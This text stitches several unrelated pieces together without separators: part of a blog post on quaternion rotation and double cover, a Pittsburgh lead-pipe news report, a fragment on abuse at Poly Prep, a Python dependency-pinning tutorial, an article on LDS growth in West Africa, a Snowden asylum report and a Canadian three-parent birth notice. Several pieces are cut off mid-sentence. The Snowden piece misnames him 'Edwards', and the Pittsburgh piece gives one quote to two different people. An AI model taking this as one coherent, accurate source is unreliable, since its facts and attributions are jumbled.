This took the end point of the original vector, and rotated it by 90 degrees on the zx plane. Then it scaled the result by 0.5, giving us the new vector (the end of the purple plane). The reason why the purple plane is floating above the other planes is an artifact of my visualization: I start at the end point and then I only move on the zx plane, so I end up floating above everything else. I also added this to our result vector at the bottom there.
Finally I’m going to add the scalar component into this:
This just took the original vector and scaled it by 0.5, giving us. I then added that to the results of the three bivector rotations. And as we can see, if we add up the contributions of the three bivectors and of the scalar part, we end up exactly at the end point of the vector that we were rotating into. (it may look like the last part is longer than 0.5 times the original vector, but that’s a trick of the perspective. The reason I picked this perspective is that you can see all three rotations from this angle)
So the rotation happened by doing three bivector multiplications and one scalar multiplication and adding all the results up.
Once again I want to point out that the order in which I added these up is arbitrary. All of these multiplications happen at the same time and don’t depend on each other, since they all just use the original vector as input. I chose to do this in the order xy, yz, zx, scalar, because that gave me a nice visualization.
I wanted to make the above visualization available for you to play with. I thought I could be really cool and upload a webgl version so that you can just play with it in your browser. So I built a webgl version, but then I found out that I can’t upload that to my wordpress account. So… I just put it in a zip file which you have to download and then open locally… Here it is.
There is an alternate visualization for the above rotation: Just as we would think of the vector as a single vector, we can also think of the bivector as a single bivector. It’s the plane with the normal, which is the plane spanned between the start vector and the end vector of the rotation. Then the visualization shows a 90 degree rotation on that plane, followed by a scaling of the length of this bivector. (which is ) That visualization looks like this:
So we rotate on this shared plane, then scale by 0.866, and finally add the original vector scaled by 0.5. This visualization as a single 90 degree rotation by the sum-bivector is equally valid as the visualization of the component bivectors. Just as we can visualize vectors either by their components, or as one line, we can visualize bivectors either by their components or as a single plane.
That finishes the part about visualization. As far as I know this is the first quaternion visualization that doesn’t try to visualize them as 4D constructs, and I think that really helps. Every component now has a distinct meaning and a picture. And we can see how the behavior of the whole quaternion is a sum of the behavior of its components.
Axis Angle
One quick aside I want to make is that sometimes people say that quaternions are related to the axis/angle representation of rotations. That is a good way to get people started with quaternions, but then it breaks down relatively quickly because the equations don’t make sense and the numbers behave weirdly. The scalar & bivector interpretation is actually related to the axis/angle interpretation, and it explains what’s really going on here. Because when I say that something rotates 90 degrees on a plane, we can also say that it rotates 90 degrees around the normal of the plane. So in this interpretation quaternions first: rotate 90 degrees around the normal, followed by being scaled down, and second: multiply the original vector times a scalar and add that. It’s not quite axis/angle, but we can see how it’s related and why the axis/angle interpretation sometimes seems to work.
With the scalar & bivector interpretation of quaternions, we have a good idea of what quaternions do. With that, we’re ready to tackle the final quaternion mystery:
Quaternion Double Cover
When I was working on this, a few friends asked me how the “scalar and bivector” explanation explains the double cover of quaternions. If you’re not familiar, the double cover means that for any desired rotation, there are actually two quaternions that represent that rotation. For example the quaternions that have 1 or -1 in the scalar part, and 0 for all the bivectors both represent a rotation by 0 degrees. (or by 360 degrees depending on how you look at it)
At first I responded that I hadn’t gotten to that part yet, but as I was working on this, the double cover just never came up. So eventually I decided to go looking for it, and… I couldn’t find it. It seemed like my quaternions didn’t have double cover. So I double checked everything and noticed that I have one difference: Remember how in order to multiply a quaternion with a vector we did this multiplication:. I accidentally didn’t do that. I just did.
And the simple multiplication actually works as long as you’re only rotating vectors on a plane that they actually lie on. For example rotating the vector on the plane works out:. The problems start if we’re rotating a vector that doesn’t completely lie on the plane that you’re rotating on. So let’s say I’m rotating the vector on the plane:
That’s strange: Some of our vector part has disappeared, and instead we have a trivector. This is not good. You don’t want part of the vector to disappear after a rotation. Rotating with fixes the problem, because the trivector part cancels out:
So now the part that’s on the plane (the component) got rotated, but the part that’s not on the plane (the component) was left unchanged. This is exactly what we want.
But look at what happened: The first rotation was a 90 degree rotation and the part that’s on the plane ended up at. And now we did a full 180 degree rotation and that part ended up at. How did that happen?
Well it actually makes sense. We are multiplying with the quaternion twice after all. Of course it would do a double rotation. It’s clearest if you multiply it all out, but the short explanation is that the conjugate allows us to rotate roughly in the same direction while multiplying from the other side:, and we went ahead and just multiplied on both sides. So if we multiply on both sides of course we get twice the rotation.
This is literally where the half-angles of quaternions and the double cover come from: From the way we multiply quaternions with vectors. Internally quaternions actually don’t have double cover. If you multiply one 90 degree quaternion with a different quaternion, then after four rotations that second quaternion will end up exactly where it started. But then we chose a vector multiplication function that applies the quaternion twice. So we have to change the interpretation and that 90 degree quaternion becomes a 180 degree quaternion. And actually my visualizations above don’t make sense any more because the vector multiplication always does that operation twice.
Killing Double Cover
So if the vector multiplication is the problem, could we define a vector multiplication that doesn’t lead to double cover? That would make quaternions much simpler.
And the answer is that yes, we can. Remember that rotating vectors that lie on the plane already worked correctly. The problem was that rotating an orthogonal vector would turn into a trivector. (but rotations should leave orthogonal vectors unchanged) The solution is that we have to first project the vector down onto the plane, then rotate within the plane, and then apply the original offset again. Here is an outline of the algorithm:
Compute the normal of the plane by multiplying with the trivector (very fast) Project the vector onto that normal (fast, as long as you use the version without a square root) Subtract that projected part (very fast) Multiply the vector with the quaternion Add the projected part (very fast)
So now we only have to do a single multiplication instead of two multiplications. And since all other operations are fast, this might even be faster than the double-cover-giving quaternion/vector multiplication.
And yes, this totally works and it’s faster and it’s less confusing. But you don’t want to use it. The reason is that as soon as I didn’t have double cover in my quaternions, I discovered why double cover is actually awesome.
Why We Need Double Cover
Double cover is what makes quaternion interpolation so great. (by interpolation I mean getting from rotation a to rotation b in multiple small steps as opposed to one large step) Without double cover, there are some quaternions that you can not interpolate between. Having to worry about those special cases makes interpolation a giant pain and defeats the whole point of why we used quaternions to begin with.
To explain what the problem is, let’s do a couple 90 degree rotations on the plane, once using double cover and once not using double cover:
Rotation Single Cover Double Cover
If we interpreted these two numbers as vectors, the double cover version would do a 45 degree rotations of the vector each time. But since the double cover quaternion will rotate twice, this will actually give us a 90 degree rotation from one row to the next.
Here is a visualization of the same numbers. The idea here is that I put the scalar value on the x axis and the bivector on the y axis:
I drew the double cover as two lines, and the single cover as one line. Once again we see that a quaternion that uses double cover rotation is simply half-way towards the quaternion that uses single cover rotation.
I said that double cover is what makes quaternion interpolation so great. To see why, let’s try interpolating between these. To keep it simple I won’t do a slerp, but I’ll just try to find the rotation half-way between any of these rotations. We do that by adding the quaternions and then renormalizing them. Interpolating from the rotation to the rotation is pretty easy in both cases:
For single cover: and after normalization that comes out to be which is a 45 degree rotation.
For double cover: and after normalization that comes out to be, which is a 22.5 degree rotation, or with the double cover it’s a 45 degree rotation.
So interpolating a 90 degree rotation works just fine in both cases.
However we run into problems when interpolating from the rotation to the rotation:
For single cover:. Huh. We can’t find the half-way rotation between these two because we just get 0, which we can’t normalize. You may think that this is just a problem because I chose to find the exact midpoint between these two vectors. But this is also a problem if we want to slerp from one to the other. It all collapses and we’re left with a zero vector.
So let’s reason through this manually. How would we interpolate from +1 to -1? We could rotate on the xy plane or on the yz plane or on the zx plane, or on any combined bivector. How do we know which bivector to choose? They’re all zero in both of our inputs. We’re missing information. In order to interpolate between two rotations, we need to know a plane on which we want to interpolate.
Let’s see how the double cover solves this: and after normalization we’re left with which was our 90 degree rotation, which is exactly the half-way point between the 0 degree rotation and the 180 degree rotation.
Isn’t that neat? In the double cover version one of our quaternions had a component, so we could interpolate on that plane. In fact you could build many possible 180 degree rotations in the double cover version. We could build a 180 degree rotation that rotates on the plane or on a linear combination of the and planes, or on any arbitrary plane. They all look different and they all interpolate differently. That’s a great property because we want to be able to interpolate on any plane of our choosing. In the single cover version however we only have one way to rotate 180 degrees and it looks the same no matter which plane you’re on. Which works fine if all you want to do is rotate 180 degrees, but it doesn’t work if you want to interpolate from one rotation to the other.
One way of thinking of this is that the trick of double cover is that you can express any rotation as a rotation of less than 90 degrees. We already saw that if we want to go 180 degrees, we just go 90 degrees twice. Want to go 270 degrees? Just go -45 degrees twice. Like that we can always stay far away from the problem point of the 180 degree rotation that we would run into often if we used the single cover version of quaternions. And like that we always keep the information of which plane we are rotating on, making interpolation easy.
Another way of thinking of this is that the double cover version always gives us a midpoint of the rotation which we can use to interpolate. For some pairs of rotations, there are a lot of possible midpoints depending on which plane we want to interpolate on. Double cover solves that problem by giving us one midpoint, which narrows our choices down to one plane. And we can derive any other desired interpolation if we have the midpoint.
You may be wondering if there is a problem point where the double cover breaks down. Looking at the table above, we can find one: Rotating by 360 degrees:. Which we can not renormalize. But that case is easy to handle, and in fact every slerp implementation already handles this: We detect if the dot product of the quaternions is negative, and if it is we flip the target quaternion. So then we interpolate from to which is just a 0 degree rotation. Which is exactly what we wanted. So as long as we handle the “negative dot product” case in our interpolation function, we can handle all possible rotations. Because there are two possible ways to express every rotation, and if we run into one that’s inconvenient, we just switch to the other one.
So I hope I have convinced you that you want to have double cover. It’s a neat trick that makes interpolation easy. Quaternions do not “naturally” have double cover, but the double cover comes from the way we define the vector multiplication. If we used a different algorithm to multiply a quaternion with a vector (I outlined one above) then we could get rid of the double cover, but we would be making interpolation more difficult. I actually think that the double cover trick is not unique to quaternions. I think we could also apply it to rotation matrices to make them easier to interpolate. I haven’t done the math for that though.
Summary
So in summary I hope that I was able to make quaternions a whole lot less weird. The geometric algebra interpretation of quaternions shows us that they are normal 3D constructs, not weird four-dimensional beasts. They consist of a scalar and three bivectors. Bivectors do 90 degree rotations followed by scaling, and we saw how we can create any rotation just from those 90 degree rotations and linear scaling. The rules that govern these constructs are simple, making the equations easy to derive and understand. (as opposed to the quaternion equations which can only be memorized) Also quaternions do not naturally have a double cover. The double cover comes from the way we define the multiplication of vectors and quaternions. We could get rid of it, but the double cover is a great trick for making interpolations easier.
Unfortunately this still only makes it slightly easier to understand the numbers in quaternion. The double cover makes it so that each rotation actually gets applied twice, so my visualizations above only show half of what’s going on. This also makes it difficult to interpret the numbers because you have to know what happens if a rotation gets applied twice, which is a whole lot harder to do in your head than doing a single rotation. But still I now have a picture of quaternions, and I know what each component means, and why they behave the way they do. I hope I was able to do something similar for you.
I also think that Geometric Algebra is a very interesting field that merits further study. The fact that quaternions came out so naturally (in fact they almost don’t even need a special name) and that if we do the same derivation in 2D we end up with complex numbers is fascinating to me. The paper I linked at the beginning, Imaginary Numbers are not Real, spends a lot of time talking about how various equations in physics come out much simpler if we use geometric algebra instead of imaginary numbers and matrices. Simplicity like that is a good hint that there is something good going on here. If you’re interested in this for doing 3D math, there is something called Conformal Geometric Algebra which adds translation to quaternions. I didn’t look too much into it, but a brief glance shows that it might be related to dual quaternions. So there’s much more to discover.On a hazy morning on Pittsburgh’s Morningside, a work crew digs beneath Radium Street, a two-lane way hugging a hillside. The crew has been at it for an hour or so, first using a backhoe to cut through layers of asphalt, cement, and clay. The work is slow — they have to be careful not to cut other utility lines underneath.
At the bottom of a five foot pit, the crew’s foreman, Mark McClafferty, is now using a shovel, uncovering one last scoop of dirt before finding what the crew’s been looking for.
“It’s lead,” he says, pointing out a section of grey pipe in the clay.
He points to the tell tale sign of lead pipes–large round lumps where different sections of pipe join together–almost like the pipes are swollen.
“That’s where they heated it up and melted the lead together,” explains McClafferty, a foreman for Frank J. Zottola Construction, which is performing the work for the Pittsburgh Water and Sewer Authority (PWSA).
LISTEN: “Pittsburgh Struggles to Fix Its Lead Problem”
The crew is looking for lead service lines, the “lateral” pipes that connect water mains in streets with homes. Because the water authority failed its lead test in 2016, it’s mapping all 71,000 of its connections, in the hopes of eventually replacing all lead lines.
Each service line into a house has two parts. One part is owned by the water authority, and the other by the property owner.
The connection the crew has found shows lead pipes on both the city’s half and the homeowner’s. But instead of replacing the pipes, the city now has to just cover them back up.
“We just backfill it and leave it,” said Manda Metzger, a PWSA engineer overseeing the dig. “If they prefer to change their line–otherwise we can’t do a partial replacement.”
Since its lead tested at 22 parts per billion (ppb) last year, well above the federal action threshold of 15 ppb, the water authority has been under state mandate to replace 7 percent of its lead lines. That’s about 1,400 a year.
Until June, the water authority had been doing ‘partial’ replacements, replacing public lead pipes but leaving the private ones.
But the authority stopped that practice when it found doing only one side of the line can actually make the problem worse, says Bob Weimar, interim executive director of the PWSA.
Weimar says there’s a coating inside the pipes that keeps lead from getting into water. Construction can knock some of that coating off on old pipes.
“What we’ve found is that the lining is subject to being broken up as a result of just physical jostling,” he says. “And as a result you’re going to find some amount of this coating breaking off. It’s similar to what happens in a stream when you have a heavy rainstorm and it washes away debris that might have collected in the stream.”
When PWSA replaced only its side of the lead service line, lead levels spiked. One home had a reading nearly 100 times the federal action level.
Marc Edwards is a Virginia Tech scientist who helped first raise the alarms about Flint, Michigan’s lead issues. He says stopping partial line replacement was the right thing to do, but that doesn’t take away from Pittsburgh’s bigger problems with lead.
“Pittsburgh currently has amongst the highest levels in the United States for any major city,” he says.
But Pittsburgh isn’t alone. Many cities and rural areas face problems with lead. Pipes from as far back as the Civil War-era are buried all over the country, still carrying water into homes.
“Lead is the best known neurotoxin. It adversely affects every organ in the human body and its effects are irreversible,” Edwards says. The CDC says there is no safe level of lead in water. Edwards says the current federal threshold for lead in water–15 parts per billion–doesn’t go far enough.
The city’s lead levels were 14.8 parts per billion (ppb) in 2013, meaning that 10 percent of samples tested above that level. After a 2014 switch in corrosion-inhibiting chemicals, which keep lead out of water, lead levels went up in 2016.
Weimar says the increased lead levels also coincided with tougher testing standards.
The authority changed its chemical mixture back to its original formula, and its two most recent water tests showed decreasing lead levels: 18 ppb in December 2016 and 15 ppb in June.
For the hundreds of homes in Pittsburgh where there have been partial line replacements, the water authority is recommending residents flush their water lines before using them for drinking, and use pitcher-style lead filters.
Cory Riddle, of Pittsburgh’s Mt. Washington neighborhood, went a step further.
Riddle and his housemate installed a $200 water treatment system under their kitchen sink when they heard there may be lead in their water. Then the city did a partial lead line replacement on his street a few months ago.
His lead-removal system keeps his water clean, but he’s frustrated that he and his roommate had to install the system just to drink clean water.
“It’s pretty lousy to be honest. The half-baked effort of just replacing half of it and increasing lead content,” he says.
“You have all different levels just pointing their fingers in a million different directions, but no one actually getting down to the real work and doing the hard work of replacing the pipes.”
He knows removing the thousands of lead service lines will be a huge expense. The water authority’s initial estimate is $411 million, though it has since lowered that estimate. But Riddle says the city should have been more proactive with the problem.
“I guess I understand those limitations but I have to question why was it allowed to get to this level,” Riddle says.
That’s a question Allegheny County controller Chelsa Wagner has been asking, too. She says lead has become a hot potato between the various state and local agencies with a hand in Pittsburgh’s water.
“You have all different levels just pointing their fingers in a million different directions, but no one actually getting down to the real work and doing the hard work of replacing the pipes,” she says.
She thinks the city’s water authority is overestimating how much it would cost to replace all of its lead pipes. Wagner calculates that the city, which had its largest surplus in years in 2016 thanks to a real-estate boom and surging income taxes, could replace its lead lines in five years.
“That’s why I get so incredibly frustrated because it is very, very fixable. What we’re just lacking is the will to do it,” she says.
Pittsburgh Mayor Bill Peduto says that’s not true. The city has given out close to 20,000 pitchers with lead filters in them. And Peduto is pushing to get a state law passed that will allow the water authority to replace private lead lines, with the homeowner paying a share of the cost.
Peduto says the next round of lead testing due by the end of the year is likely to comply with EPA limits. And when that happens, PWSA won’t be required to remove any more of its lead pipes. But Peduto says the water authority is planning to go ahead with a 10- to 12-year plan to remove those pipes, even if it isn’t required to by law.
“To be honest the system is antiquated and it won’t get better. We may be able to treat it. But the long term solution is to completely remove lead pipes from our water system,” says Peduto. “If we want to emerge as a 21st century city, it means we have to remove the lead out of our water system.”
From his porch on Radium Street, Kevin Edmonson watches the work crew dig for pipes on his street, as his granddaughters, Dream, 3, and Kersity, 6, play together.
The day the water authority’s digging crew came to his street was the first time Edmonson, a forklift operator at a local warehouse, says he’d heard about lead in the water. He says his family drinks bottled water, but uses the tap for cooking and bathing.
“I don’t use tap water |
that coverage, but I've never had any part of a lawsuit involving Foglietta's victims or Poly.) Paggioli and Smith also believe that Poly has quietly settled with other victims and has concealed the true scope of the abuse from alumni and the press. Most of all, they believe that a school whose highest value is character should think hard about how it could end up questioning the motives and bona fides of the men who overcame the stigma of their abuse to come forward.
In a statement, Audrius Barzdukas, who became head of school at Poly Prep in July, acknowledged that "Mr. Foglietta's abuse is part of our history" and said that he, the board, and the faculty were "committed to making every effort to ensure that nothing like this ever happens again," including implementing new harm-prevention curricula and trainings. "We have acknowledged and regret the abuse committed" by Foglietta, Barzdukas said, "and apologize again to survivors for his harmful and illegal actions."
When Pamela Romano learned that her brother was one of Foglietta's victims, she confronted her three sons who attended Poly while Foglietta was there. They are grown now—slim young men with blond hair and blue eyes. They, too, had lost their father. She demanded to know whether Foglietta or anyone else had ever touched them.
"No, Mom," her sons said in turn. "No."
Romano told me that she wants Robert to be remembered so that boys like her brother will not have to struggle with the anguish that caused him to take his own life. John Joseph Paggioli and Philip Smith want all the names of Foglietta's victims to come out so that children who are abused will know that they do not need to feel humiliated by what happened to them. All of them want Poly to honor and dignify their suffering. Only then, they believe, can the school begin to purge a half century of secrecy, sin, and shame.Today I'm going to tell you a story. This is a true story about a web developer that I will call Peter.
Peter is the author of a web application that I will call App. He wrote App in Python, using a relatively popular web framework and a handful of packages that extend the framework with additional features. The actual names of these packages aren't important to the story, so I will call the framework Foo, and one of its extensions Bar.
It turns out that Bar, the add-on to Foo, has a dependency of its own on another package that I will call Baz.
When Peter began working on App he did what most of us would have done. He created a virtualenv, activated it, and then used pip (the Python package manager) to install the dependencies he needed. Here is the actual command he used:
$ pip install Foo Bar
Note that he did not need to install Baz, he actually did not even know he needed Baz. The Python package system allows a package to specify what its dependencies are, and the pip installer is pretty smart about these things. When pip installed Bar it found out that Bar declares Baz as a dependency, and as a result it installed Baz as well.
Peter spent a few weeks working on App with everything going smoothly, until one day he reached a milestone. That day he wrote several unit tests that ensured that all the functions in App were working properly and also wrote a readme page where he explained how to install and use App. He even included detailed instructions on how to setup a virtual environment with the packages App depends on. He then pushed App out to his github repository, patted himself on the back for a job well done, and feeling a sense of accomplishment moved on to work on other projects.
Peter went on with his life for a while, until one day he received an email from github, and he could not believe his eyes when he read it: someone had filed a bug against App.
A bug? How can it be? Peter took every precaution in the book to ensure that App worked as expected. And here is this stranger saying that App throws an exception right after it starts.
Peter still had App on his computer, so he quickly tested it and confirmed that it still worked fine. He also found that all the unit tests passed. He assumed this person was inexperienced and made some sort of installation mistake.
A couple of days later someone else commented on the bug. This new person was also having problems running App, but was more knowledgeable than the first and theorized that the problem could be caused by a new version of package Baz that was released a few days before.
Peter checked and sure enough, Baz had a recent release that changed a few things. In particular a class that existed in the previous release was now removed and replaced with a different class. A quick inspection of the code in package Bar showed that the class that was removed was used. That was the source of the exception.
The problem was now very clear in Peter's mind. This wasn't his fault, the developer of Bar just needed to issue a new release that worked with the new version of Baz, and then everything would be fine again. So he went to project Bar's github page and logged a bug against Bar.
But Peter was bothered by the open bug he had on App. Since he considered he had done nothing wrong he decided to close the bug explaining that the problem wasn't his. It made him feel a bit better seeing that App went back to having no open bugs.
A week later the bug that Peter filed against project Bar remained unattended. Worried about the lack of urgency he went to check the commit log for the project and found that there had not been any commits to Bar in almost a year. Project Bar looked like a dead or abandoned project. To make matters worse, another App user, unaware of the latest developments, wrote a new bug against App for the same issue.
The story ends with Peter feeling trapped and powerless, thinking that Python's package management is broken.
The Problem With Dependencies
Do you identify with Peter? I certainly do. I suffered the "package dependency blues" many times myself. Many consider this an unavoidable risk that developers just have to accept.
Peter didn't know this at the time, but he could have handled things in a better way. Of course he could not have prevented the changes in the dependent project, but he could have done a better job defining the dependencies of his own project. The fact that project Baz released a new version does not mean that App needs to adopt it.
Let's begin with a review of where dependencies are specified in Python. There are two different places where package dependencies can be written: the setup.py file and the requirements.txt file. Each has different purposes.
The setup.py file
The setup.py script contains the description of a package. All Python packages that are registered with PyPI (the PYthon Package Index) need to have a setup script in their root folder, because installation tools like pip read it to know how the package needs to be installed.
The section inside the setup script that describes package dependencies is called install_requires. Dependencies are specified as a list of strings, with each string containing the name of a package plus optionally one or more version specifiers to restrict the range of supported versions.
As an example, here is the package dependency specification for Flask 0.10:
install_requires=[ 'Werkzeug>=0.7', 'Jinja2>=2.4', 'itsdangerous>=0.21' ]
As you can see, this is a "loose" mechanism to define dependencies. Versions aren't called directly but instead ranges of accepted versions are specified.
The requirements.txt file
The other dependency definition mechanism is the requirements.txt file. This is a regular text file with one package per line, usually accompanied by an exact version number.
This is an example requirements.txt file:
Flask==0.9 Flask-Login==0.1.3 Flask-Mail==0.8.2 Flask-OpenID==1.1.1 Flask-SQLAlchemy==0.16 Flask-WTF==0.8.3
The packages in a requirements file are not automatically installed like those in a setup script. The requirements file is installed manually by the user using pip. Here is a command to install a requirements file:
$ pip install -r requirements.txt
It is also possible to generate a requirements file automatically from the contents of the virtual environment:
$ pip freeze > requirements.txt
Specifying Dependencies for an Application
If you are building an application, like Peter, then the best way to advertise your dependencies is through a requirements.txt file. The installation instructions for your application should just ask that the requirements file is installed with pip. Since the requirements file includes exact version numbers for all dependencies, everybody gets the same versions of all the packages.
Going back to Peter's example, what he should have done before pushing App to github is the following:
$ pip freeze > requirements.txt
The contents of Peter's requirements file might have looked like this:
$ cat requirements.txt Foo==0.7 Bar==1.0 Baz==2.6
Peter didn't directly use project Baz in App, but note that this project is mentioned in the requirements file anyway. This is very important, because Baz is an indirect dependency for App. Since it is a dependency, it also needs to be locked down to a version that is known to work.
The day project Baz released a major update as, say, version 3.0 nothing would have changed for Peter and his App project. His requirements file would have still requested version 2.6, so that's the version that pip would have installed. This alone could have solved all of Peter problems with dependencies!
Specifying dependencies for a reusable component
The best way to specify dependencies for a reusable component is through the setup.py file. Reusable components are, by definition, going to be imported as dependencies by other projects, and you want pip to be able to sort out the dependencies for parent projects automatically, without giving the developer the extra work of having to install indirect dependencies manually.
Let's look at what project Bar's install_requires section of the setup script in Peter's example might have looked like:
install_requires=[ "Baz" ]
And this is pretty bad. Bar is saying that any release of Baz will do as a dependency. But as a developer of a component you do not want to open up to such risk.
If the Bar developer only verified that the project works with Baz version 2.6 a sure way to not get exposed to dependency problems is to request that version explicitly:
install_requires=[ "Baz==2.6" ]
But while requesting explicit versions for applications is a very good idea, for reusable components it is less so. The problem is that if every project requests specific versions of its dependencies the risk of having a dependency conflict increases. In the example above Bar wants version 2.6 of Baz. What would happen if project Foo also depended on Baz but requested version 2.5 in its setup script? With a conflict like that pip would not be able to resolve the dependencies and would just fail.
To avoid dependency conflicts it is expected that reusable components offer some amount of flexibility in their dependency declaration, so that package managers like pip can have some room to figure out a set of versions that work for all the packages.
An improvement would be to define Bar's dependencies with a lower bound:
install_requires=[ "Baz>=2.0" ]
So now pip will never accept Baz 1.x as valid. If the developer of Bar only tested version 2.6, then it makes no sense to allow an older release that may or may not work.
But is it okay to leave the upper side unbound?
In most cases it is not. Only for extremely reputable projects that have a track history of not making changes that can break existing applications it might be okay to leave an open upper bound. You as the component developer would have to evaluate your risks if you decide to do that.
In almost all cases, however, it is a much better idea to have an upper bound for all your dependencies.
Projects typically change version numbers in a more dramatic way when they introduce incompatibilities with existing applications. For some projects this means a change in the major version component, for others it may be a change in the major or minor version numbers. You'll have to figure out what the version style of your dependencies is to look for a safe upper bound.
For Bar's project it would have been useful to have dependencies specified like this:
install_requires=[ "Baz>=2.0, <3.0" ]
With this dependency declaration Bar can get minor updates to Baz, but not major updates, so it is open to receive bug fixes and small improvements, but not major changes that may require code changes.
Eventually there will be users out there that may want to have a version of Bar that works with Baz 3.x. These users will submit feature requests to Bar's developer instead of bug reports. And most importantly, they would not think that project Bar is broken.
Dependencies in the Real World
In an ideal world all application and component developers declare their dependencies in a reliable way, and as a result there are no problems with package dependencies. Unfortunately that is not the world we live in.
You can be extremely careful in the way you design your own project dependencies, but there is always the chance that some of those dependencies will not declare their own dependencies in a foolproof way.
If your project is an application then you are safe, because your requirements.txt file should list the versions of every dependency you have, including indirect ones.
You will more likely be affected if your project is a reusable component, because as discussed above, for this type of project you only list the direct dependencies with version ranges. You just need one of your dependencies to be sloppy with its own dependencies and that could cause your project to fail at some point in the future.
If this happens to you then the first thing you should do is report the problem to the appropriate project administrator.
I think it is also important for a project reputation to have the perception of being stable, so having your project temporarily broken because of a third party dependency is not acceptable. You can claim that the problem is not yours, but people will be forced to look elsewhere if your project does not work.
An emergency measure you can take to restore your project is to force the indirect dependency to load a version that is known to work in your setup.py script.
For example, if there was a component that depended on the Bar project from Peter's example, its setup script could have declared the dependency as follows:
install_requires=[ "Bar>=1.0, <2.0" ]
This dependency declaration is well specified, but the day project Baz goes from 2.6 to 3.0 your component will break if project Bar's dependencies aren't too specific on the versions of Baz required.
To address the problem on your side you could just change your setup script to add Baz as a dependency:
install_requires=[ "Baz>=2.x, <3.0", "Bar>=1.0, <2.0" ]
This is not ideal because your project does not really have a dependency on Baz, but if that's what you have to do to keep your project running, so be it. You can always remove the dependency once things settle and project Bar is fixed.
Conclusion
I hope you found this article useful in understanding how to work with dependencies in Python. Before I end the article I'll leave you a summary of the take-away points:
If you develop an application Include a requirements.txt file in the root of your project, naming all your dependencies (direct and indirect) with the explicit versions that you have tested. Document how to install dependencies using this requirements file.
If you develop a reusable component Include a install_requires clause in your setup.py file, listing only your direct dependencies. Always define a lower bound version for each dependency. Unless you have a good reason not to, also define an upper bound version for each dependency. Use common sense to decide what the upper bound for each dependency needs to be. To help parent projects decide their dependencies, document how your versions will change when you introduce an incompatible change. For example, say that whenever incompatible changes will be introduced the major version number will be increased. If you ship your component with an example application, include a requirements.txt file for the example, so that at least there is a record of a set of specific versions that are known to work with your component.
If there are any aspects of version dependencies that you think I haven't covered please let me know below in the comments!
MiguelIt is no surprise that the first “Face-to-Face” event for Mormon youths in Africa was broadcast from Ghana — and that it featured LDS apostle Dale G. Renlund and his wife, Ruth Renlund.
After all, the Renlunds know Africa well after spending five years there, and Ghana’s capital, Accra, includes a prominent Mormon campus with a temple, visitors center, church offices and a newly constructed Missionary Training Center (MTC).
West Africa has been home to Mormonism’s fastest growth of any region within the past decade, according to independent LDS demographer Matt Martinich.
“Nearly all major indicators of LDS growth [there] have demonstrated significant improvements during this period,” Martinich wrote late last month on cumorah.com. That includes “increases in church-reported membership, congregations, stakes, districts, missions, convert baptisms, the number of countries with an official LDS presence, and the number of full-time missionaries serving from the area.”
Such statistics “mirrored rapid growth experienced by the church in the Philippines and Latin America during the 1970s and 1980s,” the Colorado-based researcher wrote, but West Africa has “higher self-sustainability and better convert retention and local leadership development outcomes.”
The Church of Jesus Christ of Latter-day Saints did not begin sending missionaries to black Africa until 1978, when the Utah-based faith ended a long-standing ban on ordaining black men and boys to its all-male priesthood and excluding black women from entering its temples.
Once that prohibition ended, the West African nations of Nigeria and Ghana were the first to take off. In 1983, the LDS Church reported having 3,081 members in the region — 73 percent of whom lived in Nigeria and 27 percent in Ghana.
By the end of last year, the church listed approximately 300,300 members in the region, including those two countries as well as Ivory Coast, Sierra Leone, Liberia, Togo and Benin.
The new MTC in Ghana reflects that growth. A former facility, in Tema, could house only 90 missionaries. The new one, near the faith’s Accra temple and set to be dedicated in October, can accommodate 320 missionaries, with room take take in 500 if needed.
Earlier this year, Martinich reported, the church created its first branch in Mali.
Saturday’s internet chat with the Renlunds drew thousands of participants via satellite from more than a half-million Mormons in nearly 1,800 congregations spread across the continent, not just on the west side, posing their questions in person or via the internet.
Saturday morning’s event was broadcast in English, with simultaneous translation in Portuguese and Malagasy, while the afternoon broadcast was in French, which the Renlunds speak.
The young people asked the 64-year-old apostle and his wife about faith, repentance, recognizing messages from the Holy Spirit and navigating life as the only Mormon in their schools. They also inquired about why chastity is important, why marriage is sacred and how to know if they had been forgiven of their sins.
On divine communication, Dale Renlund said the Spirit speaks “differently to different people, sometimes even differently to the same person.”
It can include “thoughts, impressions, feelings, sometimes voices, sometimes dreams,” the Mormon leader said, noting that he mostly gets short, one-word imperatives — go, do, say, don’t — but with almost no explanation.
Ruth Renlund said heavenly messages come to her in the form of thoughts and ideas, which sometimes can be confused with her own.
It takes “practice” to distinguish the source, she said. Just know the Spirit will “always prompt you to do good, never to act contrary to the standards of the church.”
Teenager Lethe-Ann Kauzeh-Anfo of Ghana said in a news release that she “felt the Holy Ghost strongly as [Renlund] spoke about the principles of the gospel, and I also had a lot of my questions answered through what he said today.”
For their part, the Renlunds were moved by the experience.Former NSA contractor Edward Snowden should be rewarded with asylum in the European Union for leaking to the world how the U.S. spies on its allies and enemies alike, his lawyer said Monday. Snowden, who faces charges in the U.S. of leaking confidential information, has asylum in Russia through 2020, but has long sought a friendlier haven in the West.
Wolfgang Kaleck, a German lawyer and one of Snowden’s legal representatives, said during a hearing at the European Parliament that an EU nation should open its arms to Snowden. He said the 1,000-year sentence Edwards could face in the U.S. is “against all European standards.”
“We think the European Union member states have the obligation to support him,” he said. Kaleck listed Spain, Iceland and Germany as potential havens for Snowden.
“We’re not desperate,” Kaleck added, referring to Russia’s recent approval of a three-year asylum extension for Snowden.
Snowden's future is uncertain after former President Barack Obama refused to pardon him and newly elected President Donald Trump, who seems to have a cozy relationship with Russia President Vladimir Putin, has not indicated whether he will take a softer approach. Trump has called Snowden a “traitor” in the past.
Snowden has not formally applied for asylum in an EU country, but in 2015, the European Parliament passed a non-binding resolution declaring Snowden would not be returned to the U.S. if he ever made it into Europe. The document stated that Snowden was a "whistle-blower and international human rights defender.”
“This is not a blow against the US Government, but an open hand extended by friends,” Snowden said at the time in a statement on Twitter. “It is a chance to move forward.”
The American Civil Liberties Union’s Ben Wizner has also called on the European Union to grant Snowden asylum. He also singled out Iceland, where the pro-privacy Pirate Party won 14.5 percent of the vote in parliamentary elections in October, as a potential partner.
“People are looking with a lot of optimism towards Iceland right now,” he said.
Bolivia, Venezuela, and Nicaragua have offered Snowden asylum in the past, but his supporters have expressed concern that travel to those countries could be intercepted by the U.S.A Vancouver newborn has become the first child in British Columbia, Canada, to have three parents listed on an official birth certificate.
Della Wolf Kangro Wiley Richards is the 3-month-old daughter of a married lesbian couple and their male friend. British Columbia’s Family Law Act, which went into effect in March 2013, makes their unique situation possible. The measure allows a child to have three or more legal parents, as long as such a situation is in the best interest of the child.
The three parents finalized baby Della's birth certificate last week, making them the first family to go through the process required by the new law.
